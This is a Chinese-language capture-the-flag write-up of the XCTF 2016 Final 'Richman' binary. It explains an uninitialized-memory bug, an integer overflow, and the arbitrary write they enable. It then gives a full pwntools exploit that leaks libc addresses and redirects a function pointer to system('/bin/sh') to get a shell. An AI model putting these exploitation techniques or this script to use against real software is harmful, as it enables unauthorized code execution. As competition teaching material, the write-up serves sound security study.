2016-XCTF Final-Richman
抽时间将XCTF Final中Richman这个题总结了下。题目及ida idb所在的链接在:https://files.cnblogs.com/files/wangaohui/richman-blog.zip
在比赛中,我们很快地就Fuzz到了漏洞所在的位置,但是可能是由于现场的环境和平常线上赛的环境不太一样,并没有很快的写出漏洞利用程序。将Crash时的输入进行精简,得到下面的输入:
build 7 4 market
build 4 0 market
demolish 7 4
demolish 4 0
build 3 6 factory
aaaaaaaaa
time
当按照上面的进行输入,很快将发现Crash的原因。漏洞比较明显,是一个内存未初始化的漏洞,和SSCTF决赛的漏洞很相似。
在build factory的时候,如果生产一个不存在的的物资(不在wood/oil/rock中),那么product_id将使用内存中原有的内容。这样的话,在使用time功能的时候,就会很容易发生内存的越界读写。
这个题目涉及到5种结构体。分别对应road/factory/bank/casino/market五种基础设施,另外一种是对上面5个结构的索引。
根据崩溃的原因和上面的结构体描述,如果能够控制factory->product_id和factory->dailyout的话,那么是可以得到任意地址写的。
除了上面的漏洞外,还发现了一个整数溢出的漏洞。在使用market进行出售货物的时候,如果出售的单元数量很大,在imul指令后发生整数溢出,这样的话,能够获得大量的金钱!!
有了大量的钱后,就可以对bank进行操作,可以存钱借钱。程序有一个功能是可以将一个基础设施转换为另外一个基础设施。这个时候,如果对bank进行操作(存入大量的钱),紧接着将其转换为factory,因为bank和factory的大小一样,那么factory还是用的是bank的内存单元,这个时候就可以利用上面的那个任意地址写的漏洞了!
要想write-anything-anywhere,就得控制factory->daily_output。这个是可以通过对两个bank进行upgrade的时候进行设置的。
这样的话,我们就可以任意地址写了。向哪里写什么呢?下一步我们需要的是信息泄露,需要泄露出Libc库函数的地址。在print_factory的函数里,存在一个用来信息泄露的好地方。
在程序里import了gets函数,这个应该是出题方故意留的。如果将数据区中use_factory的函数指针改为gets@plt的话,那么下一次在调用use_factory的时候,将调用的是gets函数,那么整个factory结构体都能被任意控制,很方便进行信息泄露。
调用use_factory的时候,实际调用的是gets函数,这样的话不仅可以控制factory的内存数据,还能控制紧挨着的其他数据结构,相当于一个堆的溢出。
通过上面的任意地址写和信息泄露,可以获得到所需要的各种地址。最后一个步骤就是通过任意地址写拿shell。通过任意地址写,将.data段里的use_market的函数指针指向system,并通过堆的溢出修改下一个chunk的内容将下一个基础设施修改为market,并将其内存指针指向字符串"/bin/sh",那么一旦使用use_market,就相当于调用了system("/bin/sh"),顺利拿到shell。本地测试:
Exp:
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
1 from pwn import * 2 import time 3 import binascii 4 #wangaohui 5 #context.log_level='debug' 6 exe='richman' 7 s = remote('127.0.0.1',10001) 8 def getpid(): 9 time.sleep(0.1) 10 pid= pwnlib.util.proc.pidof(exe) 11 print pid 12 raw_input('go!') 13 def usemarket(x,y,act,num): 14 s.recvuntil('$ ') 15 cmd = 'use ' + str(x) + ' ' + str(y) 16 s.sendline(cmd) 17 s.recvuntil('which resource do you want to trade (wood/rock/oil):') 18 s.sendline('wood') 19 s.recvuntil('buy resourses or sell? ') 20 s.sendline(act) 21 s.recvuntil('How many units') 22 s.sendline(str(num)) 23 def usebank(x,y,money): 24 s.recvuntil('$ ') 25 cmd = 'use ' + str(x) + ' ' + str(y) 26 s.sendline(cmd) 27 s.recvuntil('(+ means deposit while - means loan): ') 28 s.sendline(str(money)) 29 def writeanywhere(x,y,data): 30 cmd = 'use ' + str(x) + ' ' + str(y) 31 s.sendline(cmd) 32 s.sendline(data) 33 s.recvuntil('$ ') 34 s.sendline('time')#wirte 35 def build(x,y,t): 36 s.recvuntil('$ ') 37 s.sendline('build '+str(x) + ' ' + str(y) + ' ' + t) 38 def upgradebank(x,y): 39 s.recvuntil('$ ') 40 s.sendline('upgrade '+str(x) + ' ' + str(y)) 41 s.recvuntil('You can raise the credit up to') 42 s.sendline('-40')#0xffffffd8 43 s.recvuntil('Accepted.') 44 def transform(x,y,t): 45 s.recvuntil('$ ') 46 s.sendline('transform '+str(x) + ' ' + str(y) + ' ' + t) 47 s.recvuntil('Input the resource factory produces: ') 48 s.sendline('xxx') 49 def time_(): 50 s.recvuntil('$ ') 51 s.sendline('time') 52 53 s.recvuntil('I will give you a present!') 54 s.sendline('build 5 5 market') 55 usemarket(5,5,'sell',25769804)#earn money 0x999999b0L 56 build(2,2,'bank') 57 usebank(2,2,0x99999000) 58 usemarket(5,5,'sell',25769804)#earn money 0x999999b0L 59 usebank(2,2,0x66665551)#earn money 0x66665551 60 build(2,1,'bank') 61 upgradebank(2,2) 62 transform(2,2,'factory') 63 time_()#write-any-where 64 65 #make useroad point to usefuncarray 66 wood = 0x000055555575A1E8 67 usefuncarray = 0x000055555575A140 68 useroad = 0x00005555555567F1 69 data = p32(((wood-usefuncarray)/4^0xffffffff)+1) 70 data += p32(usefuncarray-useroad)#'\xd6\xff\xff\xff\x4f\x39\x20\x00' 71 writeanywhere(2,2,data) 72 73 factory_products_array = 0x000055555575A020 74 data = p32((usefuncarray-factory_products_array)/8)#0x24 75 s.recvuntil('$') 76 s.sendline('use 2 2') 77 s.sendline(data) 78 79 #leak use_func_array address,so we get the image base 80 s.recvuntil('$ ') 81 s.sendline('print 2 2') 82 s.recvuntil('The factory produces ') 83 leaked = s.recvuntil(':')[:-2] 84 #print(binascii.hexlify(leaked)) 85 use_funcs_addr = u64(leaked+'\x00'*(8-len(leaked))) 86 print 'leaked use_funcs_addr is: ' + hex(use_funcs_addr) 87 88 s.recvuntil('$ ') 89 s.sendline('build 3 3 factory') 90 s.recvuntil('Input the resource factory produces: ') 91 s.sendline('3') 92 s.recvuntil('Invalid resources!') 93 94 #nextstep is leak libc func printf addr 95 #leak low 96 s.recvuntil('$ ') 97 printf_got = use_funcs_addr-0x1b8 98 s.sendline('use 2 2') 99 data = p64(0x0) 100 data += p64(0x0100)*2 101 data += p64(0x0)*2 102 data += p64(printf_got) 103 s.sendline(data) 104 s.recvuntil('$ ') 105 s.sendline('print 3 3') 106 s.recvuntil('Road') 107 s.recvuntil('The durability of this road is ') 108 low = s.recvuntil('\n')[:-1] 109 if low.startswith('-'): 110 low = low[1:] 111 low_hex=hex((int(low)^0xffffffff)+1)[2:] 112 else: 113 low_hex=hex(int(low))[2:] 114 115 #leak high 116 s.recvuntil('$ ') 117 printf_got = use_funcs_addr-0x1b8+4 118 s.sendline('use 2 2') 119 data = p64(0x0) 120 data += p64(0x0100)*2 121 data += p64(0x0)*2 122 data += p64(printf_got) 123 s.sendline(data) 124 s.recvuntil('$ ') 125 s.sendline('print 3 3') 126 s.recvuntil('Road') 127 s.recvuntil('The durability of this road is ') 128 high = s.recvuntil('\n')[:-1] 129 if high.startswith('-'): 130 high= low[1:] 131 high_hex=hex((int(high)^0xffffffff)+1)[2:-1] 132 else: 133 high_hex=hex(int(high))[2:] 134 printf = int(high_hex+low_hex,16) 135 print 'leaked printf is: ' + hex(printf) 136 137 ''' 138 #local kali 139 system = printf - 0x50CF0 + 0x41490 140 binsh = printf - 0x50CF0 + 0x1639A0 141 ''' 142 143 system = printf - 0x54340 + 0x46590 144 binsh = printf - 0x54340 + 0x17C8C3 145 146 #make usemarket point to system 147 usemarket = use_funcs_addr - 0x55555575A140 + 0x5555555569E1 148 vt_usemarket = use_funcs_addr + 0x20 149 wood = use_funcs_addr + 0xa8 150 151 data = p32(((wood-vt_usemarket)/4^0xffffffff)+1) 152 tmp = (system&0xffffffff)-(usemarket&0xffffffff) 153 if tmp>0: 154 data += p32(tmp) 155 else: 156 data += p32(((-tmp)^0xffffffff)+1) 157 writeanywhere(2,2,data) 158 159 data = p32(((wood-vt_usemarket-4)/4^0xffffffff)+1) 160 tmp = (system>>32) - (usemarket>>32) 161 if tmp>0: 162 data += p32(tmp) 163 writeanywhere(2,2,data) 164 elif tmp<0: 165 data += p32(((-tmp)^0xffffffff)+1) 166 writeanywhere(2,2,data) 167 else: 168 pass 169 170 data = p32(0)+p32(200)+p64(1)+ p64(5)+p64(0x21)+p64(4)+p64(binsh) 171 s.sendline('use 2 2') 172 s.sendline(data) 173 174 s.recvuntil('$ ') 175 cmd = 'use 3 3' 176 s.sendline(cmd) 177 s.interactive() 178 s.close()